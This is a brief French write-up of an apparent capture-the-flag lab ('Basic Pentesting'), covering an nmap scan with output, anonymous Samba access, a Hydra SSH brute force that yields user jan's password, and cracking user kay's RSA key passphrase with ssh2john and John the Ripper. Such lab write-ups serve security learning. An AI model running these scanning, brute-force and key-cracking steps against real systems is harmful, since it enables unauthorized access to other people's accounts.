// easy //

Scanning

nmap -T4 -sS -sV -Pn -p- 10.10.192.163 -vv | tee nmap_result.txt

```
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE     REASON         VERSION
22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu
Linux; protocol 2.0)
80/tcp   open  http        syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
139/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8009/tcp open  ajp13       syn-ack ttl 63 Apache Jserv (Protocol v1.3)
8080/tcp open  http        syn-ack ttl 63 Apache Tomcat 9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Fuzzing

Port 80, si on Gobuster on découvre le /development qui indique qu'un prenom commençant par "J" à un mot de passe trop faible.

Quand je me connecte en anonymous sur SAMBA, je dcouvre un fichier "staff.txt"

Exploitation

SSH to Jan

Celui-ci indique le prénom "JAN", ensuite je fais un brute force avec hydra en SSH ,

Mot de passe : armando

Sur le compte, j'ai trouvé un user nommé "Kay"

Celui-ci a un ssh configuré,

Mais ça demande le mot de passe de la clé RSa,

on va crack avec John :

```
ssh2john.py /workspace/Basic_Pentesting-room/rsa_id.txt > /workspace/Basic_Pentesting-
room/hash.txt

 john --wordlist= /usr/share/wordlists/rockyou.txt --format=SSH
/workspace/Basic_Pentesting-room/hash.txt
```

Résultat :

beeswax

SSH to Kay

cat et on a le flag